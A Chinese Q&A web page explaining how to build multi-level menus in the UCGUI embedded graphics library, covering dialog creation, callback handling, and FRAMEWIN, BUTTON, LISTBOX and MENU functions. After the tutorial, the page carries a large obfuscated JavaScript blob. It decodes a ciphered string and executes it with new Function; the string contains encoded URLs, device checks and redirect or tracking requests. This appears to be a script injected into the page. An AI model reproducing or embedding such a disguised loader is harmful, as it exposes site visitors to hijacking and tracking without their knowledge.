UCGUI如何设置菜单系统

2025-02-13 13:07:05
推荐回答(1个)
回答1:

UCGUI多级菜单设计
1 建立UCGUI主菜单
1.1 利用建立窗口函数来建立主菜单界面
用户通过利用UCGUI中WM_CreateWindow函数建立一个指定大小的窗口。
窗口对话框建立函数
GUI_CreateDialogBox(const GUI_WIDGET_CREATE_INFO* paWidget, int NumWidgets, WM_CALLBACK* cb, WM_HWIN hParent, int x0, int y0)
paWidge,对话框信息结构体,包含了对话框所有的信息,对话框中的各个部件都在该信息结构体中被设置好。
NumWidgets,对话框中所有部件的个数。
cb,窗口回调函数。
hParent,窗口父窗口的句柄。
x0,y0,窗口建立时起始位置。
扩展型窗口对话框建立函数:
GUI_ExecDialogBox(const GUI_WIDGET_CREATE_INFO* paWidget,int NumWidgets, WM_CALLBACK* WM_HWIN hParent, int x0, int y0)
paWidget,窗口信息。
NumWidgets,窗口部件数目。
cb,,窗口回调函数。
hParent,父窗口句柄。
x0,y0,窗口建立时起始位置。
1.2 回调函数
一般来说,每一个窗口的建立都会附带有一个属于该窗口的回调函数,利用回调函数来实时更新窗口的内容。
UCGUI中为窗口和窗口对象(控件)提供的回调机制实质上是一个事件驱动系统。正如在大多数视窗系统中一样,原则是控制流程不只是从用户程序到图形系统(用户程序调用图形系统函数来更新窗口),而且可以从用户程序到图形系统,同时也可以从图形系统回到用户程序,意思是图形系统也可以调用用户程序提供的回调函数来达到更新窗口的目的。这种机制常常表现好莱坞法则的特点(“不要打电话给我们,我们会打电话给你”)---主要是视窗管理器为了启动窗口重绘的需要。与传统程序比较有差异,但它使对视窗管理器的无效逻辑开发成为可能。
回调函数的执行行为依赖于它收到的消息类型。上面的函数原型通常带有一个开关声明,用于定义了对于不同的使用一个或者更多的事件声明的消息所采用的不同的处理方式(典型的至少有对WM_PAINT()的处理)。
回调函数需要获得的信息包括有:目标窗口、目标窗口的消息、源窗口、源窗口下部件的ID等信息。
回调函数中可以通过获取目标窗口,然后在获取目标窗口下的各个部件的ID,这时可以根据窗口的消息类型来初始化各个部件,如消息是WM_INIT_DIALOG时,可以直接对窗口进行初始化设置,例如设置按钮按下之后的背景色、设置窗口的字体大小等。如果要使用回调函数实时更新各个窗口,必须要运行GUI_Exec()或WM_Exec函数。
1.3 常用窗口初始化函数解析
窗口初始化方式有两种,一种是在新建窗口时初始化,第二种则是利用回调函数初始化窗口。使用在新建窗口时初始化的方法与回调函数中初始化窗口差不多,在新建窗口时给窗口一个指定的句柄,在利用常用的窗口初始化函数对窗口句柄进行初始化即可。
在回调函数中对窗口初始化应该注意,进入回调函数就立即获取窗口句柄,同时必须要用缓存保存从窗口中获取的各个部件的ID。
获取窗口部件函数如下:
WM_HWIN _GetDialogItem(WM_HWIN hWin, int Id)函数从窗口中获取各个部件的ID。
hWin,为部件所在窗体的源窗口句柄,Id为建立控件时为控件设置的ID。在窗体回调函数中必须要注意WM_HWIN _GetDialogItem函数调用的位置,在WN_INIT_DIALOG前调用还是在其后调用所得到的结果不同。通过调整该函数在回调函数中所在的位置来确定程序能否正常运行。
对于窗口名的设置用FRAMEWIN的相关函数。常用的函数原型如下有:
设置窗口标题的字体大小函数:
FRAMEWIN_SetFont(FRAMEWIN_Handle hObj, const GUI_FONT GUI_UNI_PTR * pFont)。
FRAMEWIN_Handle,为所建立的窗口的句柄,不需要调用窗口部件获取函数去获取其部件ID,只需要在进入回调函数时调用获取源窗口句柄函数(pMsg->hWin)即可实现。
* pFont为窗口标题的字体,一般用GUI.H中UCGUI自带的字体即可,用户也可自定义GUI支持的字体,GUI自带的字体只支持英文的,不支持中文字体,如果需要显示中文字体,用户要用GUI字库生成软件生成,在添加进工程才行。
设置窗口标题字体显示的对齐方式函数:
FRAMEWIN_SetTextAlign(FRAMEWIN_Handle hObj, int Align)
hObj为源窗口句柄,Align为窗体标题显示对齐方式,其取值一般有:左对齐,右对齐,居中等,这些参数在GUI.H函数中已经被定义为宏,用户根据需要直接使用即可。
设置窗口标题的显示颜色:
FRAMEWIN_SetTextColor (FRAMEWIN_Handle hObj, GUI_COLOR Color);
hObj为源窗口句柄,Color为标题颜色,参数在GUI.H中被定义为宏。
设置窗口标题栏高度:
FRAMEWIN_SetTitleHeight (FRAMEWIN_Handle hObj, int Height);
hObj为窗口句柄,Height为标题栏高度
为窗口中添加关闭窗口按钮:
FRAMEWIN_AddCloseButton(FRAMEWIN_Handle hObj, int Flags, int Off)。
hObj为要添加按钮的窗口句柄。Flags为添加的按钮的显示方式,基本参数为FRAMEWIN_BUTTON_RIGHT或FRAMEWIN_BUTTON_LEFT,即将该关闭窗口按钮显示在窗口的最左端或是最右端。
为窗口添加最大化显示按钮:
FRAMEWIN_AddMaxButton(FRAMEWIN_Handle hObj, int Flags, int Off)与上述添加关闭窗口按钮原理相同。
为窗口添加最小化按钮:
FRAMEWIN_AddMinButton(FRAMEWIN_Handle hObj, int Flags, int Off),如上同理。一般情况下,这三个函数在窗体初始化时同时使用。
窗口BUTTON部件常用设置函数如下:
设置按钮显示的字体
BUTTON_SetFont(BUTTON_Handle hObj, const GUI_FONT GUI_UNI_PTR * pfont)
hObj为BUTTON部件句柄,在设置之前应该从窗口中获取,pfont按钮显示字体,GUI默认只能支持英文。
设置按钮按下或没有按下时的背景色
BUTTON_SetBkColor(BUTTON_Handle hObj,unsigned int Index, GUI_COLOR Color)
hObj为BUTTON部件句柄,Index为索引,0表示按钮没有按下,1表示按钮按下,Color为BUTTON的背景色。
设置按钮按下或是没有按下时,按钮上的文字的颜色:
BUTTON_SetTextColor(BUTTON_Handle hObj,unsigned int Index, GUI_COLOR Color)
hObj为BUTTON部件句柄,Index为索引,0表示按钮没有按下,1表示按钮按下,Color为文字颜色。
常用LISTBOX设置函数如下。
设置LISTBOX显示内容的字体:
LISTBOX_SetFont(LISTBOX_Handle hObj, const GUI_FONT GUI_UNI_PTR * pFont)
hObj为LISTBOX部件句柄,pFont为在LISTBOX中显示内容的字体,GUI默认只支持英文,中文字体需要用户自己添加。
往LISTBOX中添加内容:
LISTBOX_AddString (LISTBOX_Handle hObj, const char* s);
hObj为LISTBOX部件句柄,*s为要添加的内容,一般为字符串。
高亮LISTBOX中的上一个目录:
LISTBOX_DecSel (LISTBOX_Handle hObj);
高亮LISTBOX中的下一个目录:
LISTBOX_IncSel (LISTBOX_Handle hObj);
hObj为LISTBOX部件句柄。
获取LISTBOX中高亮目录:
LISTBOX_GetSel (LISTBOX_Handle hObj);
hObj,LISTBOX部件句柄,返回的是该目录在LISTBOX中的序号。获取LISTBOX中高亮目录的内容
LISTBOX_GetItemText (LISTBOX_Handle hObj, unsigned Index, char * pBuffer, int MaxSize);
hObj为LISTBOX部件句柄,Index为高亮目录在LISTBOX中的序号,* pBuffer为该目录内容的缓存区,MaxSize为高亮目录最大字节数。
设置LISTBOX的水平自动滚动步进:
LISTBOX_SetAutoScrollH (LISTBOX_Handle hObj, int OnOff);
hObj为LISTBOX部件句柄,OnOff为点击LISTBOX滑动条时,窗口目录自动水平滚动步进的大小。
设置LISTBOX的垂直自动滚动步进:
LISTBOX_SetAutoScrollV (LISTBOX_Handle hObj, int OnOff);
hObj为LISTBOX部件句柄,OnOff为点击LISTBOX滑动条时,窗口目录自动垂直滚动步进的大小。
设置LISTBOX目录水平卷动步进:
LISTBOX_SetScrollStepH (LISTBOX_Handle hObj, int Value);
hObj为LISTBOX部件句柄,Value为步进大小。
在执行回调函数中响应源窗口下的各个部件动作的时候,一般是在WM_NOTIFY_PARENT消息下来进行。在WM_NOTIFY_PARENT消息下,获取源窗口各个部件的ID以及窗口部件的数值。
如图所示,先判断目标窗口返回的消息是否是WM_NOTIFY_PARENT,如果是则获取源窗口返回的Id和消息的数值。根据消息的数值再去判断Id属于哪个部件,然后根据部件的动作,实现不同的操作。
2 主菜单下子菜单的添加与功能设置
2.1建立菜单
MENU_CreateEx(int x0, int y0, int xSize, int ySize, WM_HWIN hParent, int WinFlags, int ExFlags, int Id)
x0,y0,菜单起始坐标;
xSize,ySize,菜单框的宽度与高度;
hParent,菜单所在父窗口句柄;
WinFlags,菜单显示属性;
ExFlags,菜单框属性;
Id,菜单框ID;
先利用直接建立菜单函数建立一个空菜单框,然后再往空菜单框中添加子菜单,来实现一个菜单栏下有多级子菜单的效果。
在主菜单栏下添加子菜单实现方法
先建立一个菜单栏结构体(MENU_ITEM_DATA 为菜单结构体),然后对结构体内的各个成员初始化赋值即可。
hMenu, 为主菜单句柄,即该子菜单所在的菜单栏的句柄。
hSubmenu,为该子菜单的句柄。
*pText, 为子菜单名称。
Id, 为当前子菜单的ID。
Flags, 为当前子菜单的附加属性。
常用建立添加有子菜单栏的菜单栏方法
先建立一个主菜单,然后在该主菜单栏下添加子菜单即可实现。添加完子菜单之后,用户只需要点击相应的菜单该菜单下的子菜单会自动弹出,无需用户自己写弹出函数。
在前一子菜单与后一子菜单之间加一条分隔线:
_AddTaskMenuItem(hMenuStart,0,0,0,MENU_IF_SEPARATOR);
将已经准备好的菜单粘贴到指定的窗口上:
MENU_Attach(MENU_Handle hObj, WM_HWIN hDestWin, int x, int y, int xSize, int ySize, int Flags)
hObj,菜单句柄。
hDestWin,窗口句柄。
x,y,xSize,ySize,为菜单在窗口中的位置及菜单的高度与宽度。
Flags,菜单显示属性。
2.2 菜单回调函数
菜单回调函数通常写法
菜单建立之后返回的消息
MENU_ON_ITEMSELECT,当该菜单被选择时所收到的消息。
MENU_ON_INITMENU,对建立的菜单初始化。
MENU_ON_ITEMSELECT,当前菜单被选择时所收到的消息,根据该消息再来判断该菜单下子菜单的ID。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();